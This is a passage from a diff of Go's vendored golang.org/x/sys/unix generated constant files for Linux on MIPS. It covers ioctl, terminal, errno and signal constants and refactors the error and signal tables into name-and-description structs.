-+ SO_TYPE = 0x1008
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x5407
-+ TCGETA = 0x5401
-+ TCGETS = 0x540d
-+ TCGETS2 = 0x4030542a
-+ TCSAFLUSH = 0x5410
-+ TCSBRK = 0x5405
-+ TCSBRKP = 0x5486
-+ TCSETA = 0x5402
-+ TCSETAF = 0x5404
-+ TCSETAW = 0x5403
-+ TCSETS = 0x540e
-+ TCSETS2 = 0x8030542b
-+ TCSETSF = 0x5410
-+ TCSETSF2 = 0x8030542d
-+ TCSETSW = 0x540f
-+ TCSETSW2 = 0x8030542c
-+ TCXONC = 0x5406
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x80047478
-+ TIOCEXCL = 0x740d
-+ TIOCGDEV = 0x40045432
-+ TIOCGETD = 0x7400
-+ TIOCGETP = 0x7408
-+ TIOCGEXCL = 0x40045440
-+ TIOCGICOUNT = 0x5492
-+ TIOCGISO7816 = 0x40285442
-+ TIOCGLCKTRMIOS = 0x548b
-+ TIOCGLTC = 0x7474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGPKT = 0x40045438
-+ TIOCGPTLCK = 0x40045439
-+ TIOCGPTN = 0x40045430
-+ TIOCGPTPEER = 0x20005441
-+ TIOCGRS485 = 0x4020542e
-+ TIOCGSERIAL = 0x5484
-+ TIOCGSID = 0x7416
-+ TIOCGSOFTCAR = 0x5481
-+ TIOCGWINSZ = 0x40087468
-+ TIOCINQ = 0x467f
-+ TIOCLINUX = 0x5483
-+ TIOCMBIC = 0x741c
-+ TIOCMBIS = 0x741b
-+ TIOCMGET = 0x741d
-+ TIOCMIWAIT = 0x5491
-+ TIOCMSET = 0x741a
-+ TIOCM_CAR = 0x100
-+ TIOCM_CD = 0x100
-+ TIOCM_CTS = 0x40
-+ TIOCM_DSR = 0x400
-+ TIOCM_RI = 0x200
-+ TIOCM_RNG = 0x200
-+ TIOCM_SR = 0x20
-+ TIOCM_ST = 0x10
-+ TIOCNOTTY = 0x5471
-+ TIOCNXCL = 0x740e
-+ TIOCOUTQ = 0x7472
-+ TIOCPKT = 0x5470
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x5480
-+ TIOCSERCONFIG = 0x5488
-+ TIOCSERGETLSR = 0x548e
-+ TIOCSERGETMULTI = 0x548f
-+ TIOCSERGSTRUCT = 0x548d
-+ TIOCSERGWILD = 0x5489
-+ TIOCSERSETMULTI = 0x5490
-+ TIOCSERSWILD = 0x548a
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x7401
-+ TIOCSETN = 0x740a
-+ TIOCSETP = 0x7409
-+ TIOCSIG = 0x80045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x548c
-+ TIOCSLTC = 0x7475
-+ TIOCSPGRP = 0x80047476
-+ TIOCSPTLCK = 0x80045431
-+ TIOCSRS485 = 0xc020542f
-+ TIOCSSERIAL = 0x5485
-+ TIOCSSOFTCAR = 0x5482
-+ TIOCSTI = 0x5472
-+ TIOCSWINSZ = 0x80087467
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x8000
-+ TUNATTACHFILTER = 0x801054d5
-+ TUNDETACHFILTER = 0x801054d6
-+ TUNGETDEVNETNS = 0x200054e3
-+ TUNGETFEATURES = 0x400454cf
-+ TUNGETFILTER = 0x401054db
-+ TUNGETIFF = 0x400454d2
-+ TUNGETSNDBUF = 0x400454d3
-+ TUNGETVNETBE = 0x400454df
-+ TUNGETVNETHDRSZ = 0x400454d7
-+ TUNGETVNETLE = 0x400454dd
-+ TUNSETCARRIER = 0x800454e2
-+ TUNSETDEBUG = 0x800454c9
-+ TUNSETFILTEREBPF = 0x400454e1
-+ TUNSETGROUP = 0x800454ce
-+ TUNSETIFF = 0x800454ca
-+ TUNSETIFINDEX = 0x800454da
-+ TUNSETLINK = 0x800454cd
-+ TUNSETNOCSUM = 0x800454c8
-+ TUNSETOFFLOAD = 0x800454d0
-+ TUNSETOWNER = 0x800454cc
-+ TUNSETPERSIST = 0x800454cb
-+ TUNSETQUEUE = 0x800454d9
-+ TUNSETSNDBUF = 0x800454d4
-+ TUNSETSTEERINGEBPF = 0x400454e0
-+ TUNSETTXFILTER = 0x800454d1
-+ TUNSETVNETBE = 0x800454de
-+ TUNSETVNETHDRSZ = 0x800454d8
-+ TUNSETVNETLE = 0x800454dc
-+ UBI_IOCATT = 0x80186f40
-+ UBI_IOCDET = 0x80046f41
-+ UBI_IOCEBCH = 0x80044f02
-+ UBI_IOCEBER = 0x80044f01
-+ UBI_IOCEBISMAP = 0x40044f05
-+ UBI_IOCEBMAP = 0x80084f03
-+ UBI_IOCEBUNMAP = 0x80044f04
-+ UBI_IOCMKVOL = 0x80986f00
-+ UBI_IOCRMVOL = 0x80046f01
-+ UBI_IOCRNVOL = 0x91106f03
-+ UBI_IOCRPEB = 0x80046f04
-+ UBI_IOCRSVOL = 0x800c6f02
-+ UBI_IOCSETVOLPROP = 0x80104f06
-+ UBI_IOCSPEB = 0x80046f05
-+ UBI_IOCVOLCRBLK = 0x80804f07
-+ UBI_IOCVOLRMBLK = 0x20004f08
-+ UBI_IOCVOLUP = 0x80084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x10
-+ VEOL = 0x11
-+ VEOL2 = 0x6
-+ VMIN = 0x4
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VSWTCH = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x40045702
-+ WDIOC_GETPRETIMEOUT = 0x40045709
-+ WDIOC_GETSTATUS = 0x40045701
-+ WDIOC_GETSUPPORT = 0x40285700
-+ WDIOC_GETTEMP = 0x40045703
-+ WDIOC_GETTIMELEFT = 0x4004570a
-+ WDIOC_GETTIMEOUT = 0x40045707
-+ WDIOC_KEEPALIVE = 0x40045705
-+ WDIOC_SETOPTIONS = 0x40045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x7d)
- EADDRNOTAVAIL = syscall.Errno(0x7e)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x7c)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x95)
- EBADE = syscall.Errno(0x32)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x51)
- EBADMSG = syscall.Errno(0x4d)
- EBADR = syscall.Errno(0x33)
- EBADRQC = syscall.Errno(0x36)
- EBADSLT = syscall.Errno(0x37)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x9e)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x25)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x82)
-@@ -1886,12 +502,8 @@ const (
- EDEADLK = syscall.Errno(0x2d)
- EDEADLOCK = syscall.Errno(0x38)
- EDESTADDRREQ = syscall.Errno(0x60)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x46d)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x93)
- EHOSTUNREACH = syscall.Errno(0x94)
- EHWPOISON = syscall.Errno(0xa8)
-@@ -1899,11 +511,7 @@ const (
- EILSEQ = syscall.Errno(0x58)
- EINIT = syscall.Errno(0x8d)
- EINPROGRESS = syscall.Errno(0x96)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x85)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x8b)
- EKEYEXPIRED = syscall.Errno(0xa2)
- EKEYREJECTED = syscall.Errno(0xa4)
-@@ -1920,8 +528,6 @@ const (
- ELNRNG = syscall.Errno(0x29)
- ELOOP = syscall.Errno(0x5a)
- EMEDIUMTYPE = syscall.Errno(0xa0)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x61)
- EMULTIHOP = syscall.Errno(0x4a)
- ENAMETOOLONG = syscall.Errno(0x4e)
-@@ -1929,100 +535,68 @@ const (
- ENETDOWN = syscall.Errno(0x7f)
- ENETRESET = syscall.Errno(0x81)
- ENETUNREACH = syscall.Errno(0x80)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x35)
- ENOBUFS = syscall.Errno(0x84)
- ENOCSI = syscall.Errno(0x2b)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0xa1)
- ENOLCK = syscall.Errno(0x2e)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x9f)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x23)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x63)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x59)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x86)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x5d)
- ENOTNAM = syscall.Errno(0x89)
- ENOTRECOVERABLE = syscall.Errno(0xa6)
- ENOTSOCK = syscall.Errno(0x5f)
- ENOTSUP = syscall.Errno(0x7a)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x50)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x7a)
- EOVERFLOW = syscall.Errno(0x4f)
- EOWNERDEAD = syscall.Errno(0xa5)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x7b)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x78)
- EPROTOTYPE = syscall.Errno(0x62)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x52)
- EREMDEV = syscall.Errno(0x8e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x8c)
- ERESTART = syscall.Errno(0x5b)
- ERFKILL = syscall.Errno(0xa7)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x8f)
- ESOCKTNOSUPPORT = syscall.Errno(0x79)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x97)
- ESTRPIPE = syscall.Errno(0x5c)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x91)
- ETOOMANYREFS = syscall.Errno(0x90)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x87)
- EUNATCH = syscall.Errno(0x2a)
- EUSERS = syscall.Errno(0x5e)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x34)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0xa)
- SIGCHLD = syscall.Signal(0x12)
- SIGCLD = syscall.Signal(0x12)
- SIGCONT = syscall.Signal(0x19)
- SIGEMT = syscall.Signal(0x7)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x16)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x16)
- SIGPROF = syscall.Signal(0x1d)
- SIGPWR = syscall.Signal(0x13)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTOP = syscall.Signal(0x17)
- SIGSYS = syscall.Signal(0xc)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x18)
- SIGTTIN = syscall.Signal(0x1a)
- SIGTTOU = syscall.Signal(0x1b)
-@@ -2036,174 +610,182 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "no message of desired type",
-- 36: "identifier removed",
-- 37: "channel number out of range",
-- 38: "level 2 not synchronized",
-- 39: "level 3 halted",
-- 40: "level 3 reset",
-- 41: "link number out of range",
-- 42: "protocol driver not attached",
-- 43: "no CSI structure available",
-- 44: "level 2 halted",
-- 45: "resource deadlock avoided",
-- 46: "no locks available",
-- 50: "invalid exchange",
-- 51: "invalid request descriptor",
-- 52: "exchange full",
-- 53: "no anode",
-- 54: "invalid request code",
-- 55: "invalid slot",
-- 56: "file locking deadlock error",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 73: "RFS specific error",
-- 74: "multihop attempted",
-- 77: "bad message",
-- 78: "file name too long",
-- 79: "value too large for defined data type",
-- 80: "name not unique on network",
-- 81: "file descriptor in bad state",
-- 82: "remote address changed",
-- 83: "can not access a needed shared library",
-- 84: "accessing a corrupted shared library",
-- 85: ".lib section in a.out corrupted",
-- 86: "attempting to link in too many shared libraries",
-- 87: "cannot exec a shared library directly",
-- 88: "invalid or incomplete multibyte or wide character",
-- 89: "function not implemented",
-- 90: "too many levels of symbolic links",
-- 91: "interrupted system call should be restarted",
-- 92: "streams pipe error",
-- 93: "directory not empty",
-- 94: "too many users",
-- 95: "socket operation on non-socket",
-- 96: "destination address required",
-- 97: "message too long",
-- 98: "protocol wrong type for socket",
-- 99: "protocol not available",
-- 120: "protocol not supported",
-- 121: "socket type not supported",
-- 122: "operation not supported",
-- 123: "protocol family not supported",
-- 124: "address family not supported by protocol",
-- 125: "address already in use",
-- 126: "cannot assign requested address",
-- 127: "network is down",
-- 128: "network is unreachable",
-- 129: "network dropped connection on reset",
-- 130: "software caused connection abort",
-- 131: "connection reset by peer",
-- 132: "no buffer space available",
-- 133: "transport endpoint is already connected",
-- 134: "transport endpoint is not connected",
-- 135: "structure needs cleaning",
-- 137: "not a XENIX named type file",
-- 138: "no XENIX semaphores available",
-- 139: "is a named type file",
-- 140: "remote I/O error",
-- 141: "unknown error 141",
-- 142: "unknown error 142",
-- 143: "cannot send after transport endpoint shutdown",
-- 144: "too many references: cannot splice",
-- 145: "connection timed out",
-- 146: "connection refused",
-- 147: "host is down",
-- 148: "no route to host",
-- 149: "operation already in progress",
-- 150: "operation now in progress",
-- 151: "stale file handle",
-- 158: "operation canceled",
-- 159: "no medium found",
-- 160: "wrong medium type",
-- 161: "required key not available",
-- 162: "key has expired",
-- 163: "key has been revoked",
-- 164: "key was rejected by service",
-- 165: "owner died",
-- 166: "state not recoverable",
-- 167: "operation not possible due to RF-kill",
-- 168: "memory page has hardware error",
-- 1133: "disk quota exceeded",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "ENOMSG", "no message of desired type"},
-+ {36, "EIDRM", "identifier removed"},
-+ {37, "ECHRNG", "channel number out of range"},
-+ {38, "EL2NSYNC", "level 2 not synchronized"},
-+ {39, "EL3HLT", "level 3 halted"},
-+ {40, "EL3RST", "level 3 reset"},
-+ {41, "ELNRNG", "link number out of range"},
-+ {42, "EUNATCH", "protocol driver not attached"},
-+ {43, "ENOCSI", "no CSI structure available"},
-+ {44, "EL2HLT", "level 2 halted"},
-+ {45, "EDEADLK", "resource deadlock avoided"},
-+ {46, "ENOLCK", "no locks available"},
-+ {50, "EBADE", "invalid exchange"},
-+ {51, "EBADR", "invalid request descriptor"},
-+ {52, "EXFULL", "exchange full"},
-+ {53, "ENOANO", "no anode"},
-+ {54, "EBADRQC", "invalid request code"},
-+ {55, "EBADSLT", "invalid slot"},
-+ {56, "EDEADLOCK", "file locking deadlock error"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EMULTIHOP", "multihop attempted"},
-+ {77, "EBADMSG", "bad message"},
-+ {78, "ENAMETOOLONG", "file name too long"},
-+ {79, "EOVERFLOW", "value too large for defined data type"},
-+ {80, "ENOTUNIQ", "name not unique on network"},
-+ {81, "EBADFD", "file descriptor in bad state"},
-+ {82, "EREMCHG", "remote address changed"},
-+ {83, "ELIBACC", "can not access a needed shared library"},
-+ {84, "ELIBBAD", "accessing a corrupted shared library"},
-+ {85, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {86, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {87, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {88, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {89, "ENOSYS", "function not implemented"},
-+ {90, "ELOOP", "too many levels of symbolic links"},
-+ {91, "ERESTART", "interrupted system call should be restarted"},
-+ {92, "ESTRPIPE", "streams pipe error"},
-+ {93, "ENOTEMPTY", "directory not empty"},
-+ {94, "EUSERS", "too many users"},
-+ {95, "ENOTSOCK", "socket operation on non-socket"},
-+ {96, "EDESTADDRREQ", "destination address required"},
-+ {97, "EMSGSIZE", "message too long"},
-+ {98, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {99, "ENOPROTOOPT", "protocol not available"},
-+ {120, "EPROTONOSUPPORT", "protocol not supported"},
-+ {121, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {122, "ENOTSUP", "operation not supported"},
-+ {123, "EPFNOSUPPORT", "protocol family not supported"},
-+ {124, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {125, "EADDRINUSE", "address already in use"},
-+ {126, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {127, "ENETDOWN", "network is down"},
-+ {128, "ENETUNREACH", "network is unreachable"},
-+ {129, "ENETRESET", "network dropped connection on reset"},
-+ {130, "ECONNABORTED", "software caused connection abort"},
-+ {131, "ECONNRESET", "connection reset by peer"},
-+ {132, "ENOBUFS", "no buffer space available"},
-+ {133, "EISCONN", "transport endpoint is already connected"},
-+ {134, "ENOTCONN", "transport endpoint is not connected"},
-+ {135, "EUCLEAN", "structure needs cleaning"},
-+ {137, "ENOTNAM", "not a XENIX named type file"},
-+ {138, "ENAVAIL", "no XENIX semaphores available"},
-+ {139, "EISNAM", "is a named type file"},
-+ {140, "EREMOTEIO", "remote I/O error"},
-+ {141, "EINIT", "unknown error 141"},
-+ {142, "EREMDEV", "unknown error 142"},
-+ {143, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {144, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {145, "ETIMEDOUT", "connection timed out"},
-+ {146, "ECONNREFUSED", "connection refused"},
-+ {147, "EHOSTDOWN", "host is down"},
-+ {148, "EHOSTUNREACH", "no route to host"},
-+ {149, "EALREADY", "operation already in progress"},
-+ {150, "EINPROGRESS", "operation now in progress"},
-+ {151, "ESTALE", "stale file handle"},
-+ {158, "ECANCELED", "operation canceled"},
-+ {159, "ENOMEDIUM", "no medium found"},
-+ {160, "EMEDIUMTYPE", "wrong medium type"},
-+ {161, "ENOKEY", "required key not available"},
-+ {162, "EKEYEXPIRED", "key has expired"},
-+ {163, "EKEYREVOKED", "key has been revoked"},
-+ {164, "EKEYREJECTED", "key was rejected by service"},
-+ {165, "EOWNERDEAD", "owner died"},
-+ {166, "ENOTRECOVERABLE", "state not recoverable"},
-+ {167, "ERFKILL", "operation not possible due to RF-kill"},
-+ {168, "EHWPOISON", "memory page has hardware error"},
-+ {1133, "EDQUOT", "disk quota exceeded"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "user defined signal 1",
-- 17: "user defined signal 2",
-- 18: "child exited",
-- 19: "power failure",
-- 20: "window changed",
-- 21: "urgent I/O condition",
-- 22: "I/O possible",
-- 23: "stopped (signal)",
-- 24: "stopped",
-- 25: "continued",
-- 26: "stopped (tty input)",
-- 27: "stopped (tty output)",
-- 28: "virtual timer expired",
-- 29: "profiling timer expired",
-- 30: "CPU time limit exceeded",
-- 31: "file size limit exceeded",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGUSR1", "user defined signal 1"},
-+ {17, "SIGUSR2", "user defined signal 2"},
-+ {18, "SIGCHLD", "child exited"},
-+ {19, "SIGPWR", "power failure"},
-+ {20, "SIGWINCH", "window changed"},
-+ {21, "SIGURG", "urgent I/O condition"},
-+ {22, "SIGIO", "I/O possible"},
-+ {23, "SIGSTOP", "stopped (signal)"},
-+ {24, "SIGTSTP", "stopped"},
-+ {25, "SIGCONT", "continued"},
-+ {26, "SIGTTIN", "stopped (tty input)"},
-+ {27, "SIGTTOU", "stopped (tty output)"},
-+ {28, "SIGVTALRM", "virtual timer expired"},
-+ {29, "SIGPROF", "profiling timer expired"},
-+ {30, "SIGXCPU", "CPU time limit exceeded"},
-+ {31, "SIGXFSZ", "file size limit exceeded"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go
-index 44191b0c..2dfe6bba 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go
-@@ -3,7 +3,7 @@
-
- // +build mipsle,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-@@ -11,1873 +11,489 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
